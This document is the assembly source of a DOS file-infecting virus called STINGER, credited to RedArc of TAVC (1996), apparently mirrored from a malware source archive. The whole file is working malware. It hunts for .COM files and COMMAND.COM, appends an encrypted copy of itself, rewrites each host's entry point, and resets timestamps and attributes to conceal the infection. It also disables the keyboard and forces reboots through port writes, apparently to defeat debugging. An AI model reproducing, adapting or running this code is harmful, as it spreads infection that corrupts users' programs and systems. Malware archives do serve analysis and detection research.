mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
437 lines
7.5 KiB
NASM
437 lines
7.5 KiB
NASM
;************************************
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;************** STINGER *************
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;******** (c) 1996 by [TAVC] ********
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;********** -=* RedArc *=- **********
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;************************************
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Model tiny
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.code
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.386
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kode_crypt equ 0
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ORG 100h
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START:
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pusha
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push ds
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push es
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push cs
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pop ds
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push cs
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pop es
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push di
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mov di,offset VIRUS
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ret
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IDENT db 0ah,0dh,'STINGER',0ah,0dh,'$'
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START_LEN equ $-START
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int 20h
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VIRUS:
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jmp Ok_1
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Ok_0:
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mov ax,1010h
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out 70h,ax
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mov al,0feh
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out 64h,al
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Flag_Ofs equ $-VIRUS
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Flag db 0
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;---------------------
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LOC_2_ equ $-VIRUS
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LOC_2:
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pop ax
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pop cx
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inc ax
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xchg ax,cx
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push cx
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push ax
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mov ax,LOC_3_
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mov cx, bp
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xchg ax,cx
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add cx,ax
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push cx
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db 2eh
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pushf
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pop ax
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sahf
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jnb L_2_1
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mov ax,1010h
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out 70h,ax
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mov al,0feh
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out 64h,al
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L_2_1:
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ret
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;------------------------
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HAND_OFS equ $-VIRUS
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Handle dw ?
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Write_To_File:
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mov word ptr [bp+HAND_OFS],bx
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mov byte ptr [bp+Flag_Ofs],1
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jmp DECRYPT
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My_Loc_1:
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mov byte ptr [bp+Flag_Ofs],0
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mov dx,bp
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mov cx,VIRLEN
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mov bx,word ptr [bp+HAND_OFS]
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mov ah,40h
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int 21h
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mov byte ptr [bp+Flag_Ofs],2
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jmp DECRYPT
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;------------------------
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Ok_1:
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call VIR_BEG
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VIR_BEG_LEN equ $-VIRUS
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VIR_BEG:
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cli
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mov al,0adh
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out 64h,al
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jmp short $+2
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pop bp
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sti
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sub bp,VIR_BEG_LEN
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DECRYPT:
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Code_Ofs equ $-VIRUS
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mov ax, kode_crypt
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xor cx,cx
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cmp ax,cx
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jne DC_0
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mov ax, DC_3_
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add ax,bp
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push ax
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ret
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;------------------------------------
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LOC_4_ equ $-VIRUS
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LOC_4:
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db 2eh
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pushf
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pop ax
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sahf
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jnb LOC_4_1
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mov ax,1010h
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out 70h,ax
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mov al,0feh
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out 64h,al
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LOC_4_1:
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ret
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;------------------------
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DC_0:
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mov di, CRYPT_END
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add di,bp
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push ax
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mov ax, bp
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add ax, M_L_1_
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push ax
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mov ax, LOC_4_
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add ax, bp
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push ax
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ret
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M_L_1_ equ $-VIRUS
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M_L_1:
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pop ax
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mov si, CRYPT_START
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add si,bp
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DC_1:
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DC_1_ equ $-VIRUS
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mov bx, word ptr cs:[si]
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push bp
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mov dx, word ptr cs:[si+2]
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xchg cx,dx
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push si
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xchg bx,dx
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mov si,di
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xor cx,ax
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pop di
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xchg cx,ax
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push si
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xchg ax,bx
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mov si,di
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xchg cx,dx
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pop bp
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xchg ax,dx
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xchg si,bp
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xchg bx,dx
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mov di,si
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xor cx,ax
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xchg bp,si
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xchg cx,ax
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sub bp,di
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xchg bx,dx
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add bp,si
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xchg dx,cx
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xchg bp,si
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xchg ax,dx
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xor bp,si
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xchg dx,bx
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add bp,di
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mov cl,4
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xchg bp,di
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mov word ptr cs:[si],bx
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pop bp
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call LOC_1
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mov word ptr cs:[si+2],dx
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DC_2:
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inc si
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loop DC_2
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cmp si,di
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jge DC_3
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mov dx, DC_1_
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mov cx, bp
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DC_4:
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inc dx
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loop DC_4
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push dx
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ret
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;------------------------
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LOC_1:
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push cx
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push ax
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mov ax,bp
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mov cx,LOC_2_
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L_1:
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inc ax
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loop L_1
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push ax
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ret
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;------------------------
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LOC_3_ equ $-VIRUS
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LOC_3:
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pop cx
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mov ax,bp
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add ax,LOC_3_1_
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push ax
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mov ax,bp
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add ax,LOC_4_
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push ax
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ret
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LOC_3_1_ equ $-VIRUS
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LOC_3_1:
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pop ax
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xor ch,ch
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jmp LOC_4_1
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;------------------------
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DC_3:
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DC_3_ equ $-VIRUS
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push ax
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mov ah, byte ptr [bp+Flag_Ofs]
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cmp ah,1
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pop ax
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jnz My_Loc_2
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jmp My_Loc_1
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CRYPT_START equ $-VIRUS
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;********************************************************
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My_Loc_2:
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mov ah, byte ptr [bp+Flag_Ofs]
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cmp ah,2
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jnz My_Loc_3
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ret
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My_Loc_3:
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cli
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mov al,0aeh
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out 64h,al
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jmp short $+2
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sti
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;-------------------------------------------------------
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Restore_Beg:
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mov si,P_B_Ofs
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mov di,100h
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add si,bp
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mov cx,START_LEN
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rep movsb
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SET_DTA_VIRII:
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mov ah,1ah
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mov dx,bp
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add dx,VIRLEN
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push dx
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int 21h
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pop si
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FIND_FIRST:
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mov dx,bp
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add dx,C_M_Ofs
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cld
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mov ah,4eh
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mov cx,0ffh
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INTERRUPT:
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int 21h
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jb Not_File
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call Infected
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mov ah,4fh
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jmp short INTERRUPT
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Not_File:
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call Command_Com
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mov ah,1ah
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mov dx,80h
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int 21h
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;---------------------
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RETURN_TO_PROG:
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pop es
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pop ds
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popa
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jmp si
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;---------------------
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Infected:
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mov dx, si
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add dx,1eh
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push dx
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Clear_Attrib:
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mov ax,4301h
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xor cx,cx
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int 21h
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Open_File:
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mov ax, 3d02h
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int 21h
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jb NextFind
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Save_Handle:
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xchg ax,bx
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Read_Beg:
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mov ah,3fh
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mov dx,bp
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add dx,P_B_Ofs
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mov cx,START_LEN
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int 21h
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Check_Ident:
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push si
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mov si,bp
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mov di,si
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add si,New_Begin
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add di,P_B_Ofs
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add si,IDENT_Ofs
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add di,IDENT_Ofs
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mov cx,12
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rep cmpsb
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pop si
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je Close_File
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jmp short Plague
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Close_File:
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mov ax,5701h
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mov dx, word ptr [si+18h]
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mov cx, word ptr [si+16h]
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int 21h
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mov ah,3eh
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int 21h
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mov ax,4301h
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pop dx
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mov cx,word ptr [si+15h]
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int 21h
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ret
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NextFind:
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pop dx
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ret
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Plague:
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mov ax,4202h
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xor cx,cx
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xor dx,dx
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push cx
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push cx
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int 21h
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mov word ptr [bp+OldLen],ax
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call New_Code
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pusha
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call Write_To_File
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Ret_From_Write:
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popa
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mov ax,4200h
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pop cx
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pop dx
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int 21h
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Calculate_New_Entry_Point:
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mov di,bp
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add di,New_Adr_Jump
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inc di
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mov ax, word ptr [bp+OldLen]
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add ax, 100h
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mov word ptr [di],ax
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WRITE_New_Beg:
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mov ah,40h
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mov cx,START_LEN
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mov dx,bp
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add dx,New_Begin
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int 21h
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jmp Close_File
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;---------------------
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Command_Com:
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push ds
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mov di,bp
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mov si,2ch
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mov ds,cs:[si]
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mov si,0008
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add di, VIRLEN
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add di,2ch
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mov cx,0040h
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rep movsb
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sub di,40h
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pop ds
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mov dx,di
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mov ah,4eh
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mov cx,0ffh
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int 21h
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mov di,bp
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jb EXITER
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mov ah,2fh
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int 21h
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mov bx,di
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add bx,VIRLEN
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add bx,0eh
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xchg bx,si
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call INFECTED
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EXITER:
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ret
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;---------------------
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New_Code:
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push ax
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push bx
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push cx
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push di
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mov ax, word ptr [si+1ah]
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mov bx, word ptr [si+18h]
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mov cx, word ptr [si+16h]
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xor bx,cx
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cmp bx,cx
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jnz N_C_1
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jmp Ok_0_My
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N_C_1:
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xor ax,bx
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mov di,bp
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add di,Code_Ofs
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mov word ptr [di+1],ax
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pop di
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pop cx
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pop bx
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pop ax
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ret
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Ok_0_My:
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mov ah, 09h
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mov dx,bp
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add dx,IDENT_Ofs
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int 21h
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jmp Ok_0
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;---------------------
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P_B_Ofs equ $-VIRUS
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PROGRAM_BEG db START_LEN dup (90h)
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C_M_Ofs equ $-VIRUS
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COM_MASK db '*.COM',0h
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E_M_Ofs equ $-VIRUS
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OldLen equ $-VIRUS
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dw ?
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My_START:
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New_Begin equ $-VIRUS
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pusha
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push ds
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New_Adr_Jump equ $-VIRUS
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mov di,offset VIRUS
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push es
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push cs
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pop ds
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push di
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push cs
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pop es
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ret
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IDENT_Ofs equ $-My_Start
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db 0ah,0dh,'STINGER',0ah,0dh,'$'
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;********************************************************
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CRYPT_END equ $-VIRUS
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VIRLEN equ $-VIRUS
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END START
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